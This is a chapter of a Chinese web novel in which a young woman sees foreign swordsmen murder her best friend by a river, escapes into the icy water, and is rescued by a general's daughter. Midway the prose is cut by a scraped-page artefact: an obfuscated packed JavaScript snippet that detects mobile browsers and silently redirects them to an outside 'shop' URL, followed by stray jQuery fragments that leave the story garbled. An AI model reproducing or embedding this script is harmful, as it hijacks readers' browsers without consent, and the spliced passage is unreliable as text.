83. 第 83 章

作品:《世子他蓄谋已久

    腊月二十九,午后。


    天灰蒙蒙的,北风挟着雪粒从江面掠过,刀子似地往人脸上招呼。龙江岸边积了一层薄薄的雪,两个姑娘并肩走在江边说说笑笑。


    陶麦菱穿着一身新衣,圆眼桃腮,笑起来眼睛弯成两道月牙。柳清欢要高瘦些,上挑的丹凤眼顾盼间自有灵动的神采。


    “欢欢,你看!”陶麦菱指着江面,颇为惊喜:“没想到这个时节竟然还有野鸭子。”


    柳清欢顺着她手指的方向看去,果然江心处有几只野鸭正在游水,她笑了笑道:“真的欸,或许哪家人养的鸭子跑出来了。”


    说着,她从怀里掏出个油纸包递给陶麦菱:“喏,给你带的。”


    打开一看,是一块还有些温热的红糖糕。她眼睛一亮,掰下一半递给柳清欢,自己捧着另一半小口小口地吃起来。


    “大娘做的真好吃。”


    “你喜欢就好。”


    “对了欢欢,我还带了烙饼,等会回城里我请你喝杯热茶吧。”


    “好啊,小麦对我最好了。”柳清欢挽住陶麦菱的胳膊撒娇道。


    两人玩笑着走了一路,陶麦菱忽然问:“欢欢,你说嫁了人以后,咱们还能见面吗?”


    柳清欢的脚步顿了顿,这个问题她其实也想过很多次。她定的人家在城南,麦菱嫁的人家在城西,虽说不算太远,可嫁了人就不比当姑娘时自由了。要伺候公婆,要操持家务,要生儿育女,哪有那么多时间出来走动?


    可她还是笑了笑道:“怎么不能?逢年过节回娘家的时候,咱们就能见。”


    陶麦菱想了想也笑,挽住柳清欢的胳膊道:“对哦,回娘家就能见。那咱们说好了,回娘家的时候一定有约着见面。”


    柳清欢点点头:“说好了。”


    两人继续往前走,前方是一片枯败的芦苇丛,芦苇杆子东倒西歪地戳在雪地里,风一吹就沙沙作响。


    陶麦菱忽然捂住肚子,脸有些红:“欢欢,我……我想出恭。”


    柳清欢失笑,指了指芦苇丛后面:“去那边,我在这儿等你。”


    笑看着麦菱红着脸小跑进芦苇丛里,柳清欢站在原地望着江面出神。江水缓缓流淌,深不见底。冷风吹过来,她拢了拢衣襟把脖子缩进领口里。


    等了许久,麦菱还没回来。她有些不安,朝芦苇丛那边喊了一声:“小麦?”没有回应。


    “麦菱?陶麦菱?”她又喊了一声,还是没有。


    心头那点不安渐渐扩大,柳清欢犹豫片刻,抬脚朝芦苇丛那边走去。


    绕过那片芦苇是一片开阔的滩涂,稀稀拉拉长着些枯草,再往前是一片小树林,可四处都没有麦菱的身影。


    柳清欢快步往前走,一边走一边喊:“麦菱!麦菱你在哪儿?”


    忽然,她注意到雪地上有拖拽的痕迹,一旁还有两行又大又深的脚印。脚印从树林方向延伸过来,消失在滩涂边缘,而麦菱的脚印也在那附近戛然而止。


    莫非麦菱出什么事了?


    柳清欢的呼吸急促起来,她放轻脚步,顺着那串大脚印的方向一点一点往树林里走。树林里很暗,她小心翼翼地绕开枯枝,尽量不发出声音。


    终于,她听见了模糊的人声,屏住呼吸,猫着腰一点一点往前挪。


    两个男人在面前说话,只是口音非常奇怪,不是江东这边的软语,也不是北方商人的那种京城官话。


    柳清欢藏在一棵粗壮的树后,悄悄探出半个头。


    前方不远处,有一片相对开阔的空地上站着七八个人。那些人穿着古怪的衣裳,不是大乾的样式,有的披着皮毛,有的穿着紧身的短褐,腰间都挎着刀。他们围成一圈,正低头看着什么。


    柳清欢的目光落在那圈中央,心中一凉。


    麦菱跪在地上,双手被反绑在身后,浑身发抖,满脸是泪,不住地摇着头。


    一个领头模样的男人蹲下身,捏着她的下巴,用蹩脚的大乾话问:“你都听到什么了?是谁派你来的?”


    麦菱拼命摇头,眼泪流得更凶了。


    那男人似乎失去了耐心,他站起身挥了挥手,用那种古怪的语言说了句什么。另一个男人走上前,手里握着一把短刀。


    柳清欢想喊,想冲出去,可身体像被钉在原地动不了分毫。


    刀落了下去,麦菱猛地一颤,鲜红的血在皑皑白雪地上洇开,触目惊心。


    柳清欢死死咬住自己的手,不让自己发出声音。眼泪模糊了视线,可她不敢眨眼,不敢动,甚至不敢呼吸。


    她不知道自己是怎么熬过那段时间的,当那些人终于停手的时候,麦菱已经不动了。她倒在血泊里,那双圆眼还睁着,却再也没有了神采。


    那些人站起身,开始说话。柳清欢听不太懂,可她隐约听见了几个词。


    “东海……”


    “北疆……”


    领头模样的人挥了挥手,示意众人离开。他们朝另一个方向走去,很快就消失在树林深处。


    柳清欢依旧藏在树后,一动不动。她浑身都在发抖,眼泪流了满脸,可她不敢出声也不敢动。过了很久,直到那些人彻底没了踪影,她才滑坐在地上。


    麦菱死了,她最好的姐妹,死在她面前。


    柳清欢捂住嘴,把哭声死死压回喉咙里。她不能哭,她必须离开这里,必须回去告诉别人,必须让那些人付出代价。她撑着树干站起来,踉踉跄跄地往回跑。


    然后,她看见了一个人。


    那人穿着一身灰扑扑的衣裳,手里提着一个食盒,正站在芦苇丛边低头看着什么。柳清欢顺着他的目光看去,雪地上有她的脚印。


    从芦苇丛那边延伸过来,一直通向树林。


    柳清欢感到她浑身的血都凉了,她急着找麦菱,忘了自己的脚印会暴露行踪。


    那人抬起头看见了她,两人四目相对。


    柳清欢转身就跑。


    “站住!”身后传来一声大喝。


    柳清欢拼命往回跑,跑过芦苇丛,跑过滩涂,跑向江边。


    “有人偷听!”


    “追!”


    “别让她跑了!”


    柳清欢的心跳得几乎要从嘴里蹦出来,肺都要炸了,可身后的脚步声越来越近。


    终于,她跑到了江边,江水在眼前流淌。她知道腊月的江水能冻死人,可回头看了一眼,身后追兵已到。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236407|194931||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    七八个人手里拿着刀,面目狰狞,其中一个人手里没有刀,却从地上捡起一块大石头朝她扬了扬。


    就在她犹豫的瞬间,那人扬手石头砸了过来。


    “砰——”


    额头一阵剧痛,温热的血顺着额角流下来,流进眼睛里,模糊了视线,却让她瞬间清醒了。


    跳下去还有一线生机,可被抓住必死无疑。


    柳清欢咬紧牙,转过身纵身一跃,冰冷的江水将她吞没。


    刺骨的江水像针一般同时扎进皮肤里,她拼命划水,拼命往前游,她隐约听见岸上的人在喊什么。


    “水太冷……下去会冻死……”


    “她流了那么多血,活不了……”


    “走……”


    柳清欢不知道自己游了多久,她只知道她不能停,停了就会沉下去,沉下去就会死。


    她要活着,她必须活着,她要替麦菱报仇。


    身体越来越沉,她拼命蹬腿划水,可四肢已经不听使唤了。


    最后的意识里,她仿佛看见了麦菱的脸。麦菱在笑,还是那副憨憨的模样,眼睛弯成两道月牙。


    “欢欢,你要活着。”


    她咬破嘴唇让自己保持清醒,终于,她触摸到了泥土。


    江岸上,那伙人站了一会儿,看着江面渐渐恢复平静。被血染红的水域已经被冲散,看不出痕迹了。


    “流那么多血,又泡在这么冷的水里,神仙也活不了。”


    领头那人点点头,挥了挥手:“走。”


    *


    姜灼与父亲吵完架从府中冲出来时,天色已经全黑了。


    父亲说:“你娘若在,绝不会容你这般放肆!”


    姜灼不忿,他们吵架,父亲凭什么提娘?那个姓魏的姨娘进门才两个月,父亲就忘了娘当年是怎么陪他戍守北疆,是怎么在风雪中生下大哥二哥的。


    冷风吹在脸上,她才发觉自己哭了。江边很静,腊月的夜晚里没人会来这种地方。


    姜灼站在岸边的枯草丛里,望着黑沉沉的江水出神。她想起小时候,娘带她来这里放河灯。娘说,把心愿写在灯上顺着水流漂走,河神就会听见。


    如今娘不在了,她的心愿,河神还能听见吗?


    正想着,脚下被什么东西绊住了,她低头一看,脚下躺着一个年轻女子,浑身湿透,脸白得像纸,额上一个狰狞的伤口。


    姜灼蹲下身,探了探她的鼻息,还有气。她没有再犹豫,唤来暗中跟着的随从将她搬上马车。


    回府后,她让春桃悄悄去请大夫。


    “小姐,这姑娘是谁?”夏荷惊道。


    姜灼把那女子放在自己床上,脱下她几乎要结冰的衣衫,用被子裹紧她:“不知道,从江边捡的。”


    春桃领着大夫来了,开了药,说这姑娘命大,再晚一刻钟就救不回来了。姜灼守在床边,看着她那张苍白的脸,决定把她暂时留下来养伤,待养好了再放她出去。


    如果要留下来还得伪装成她的丫鬟,春夏秋冬,独缺一个冬。


    她想了想,轻声道:“就叫你冬青吧。”


    冬青,冬月青翠,愿你也能在寒冬里活下来。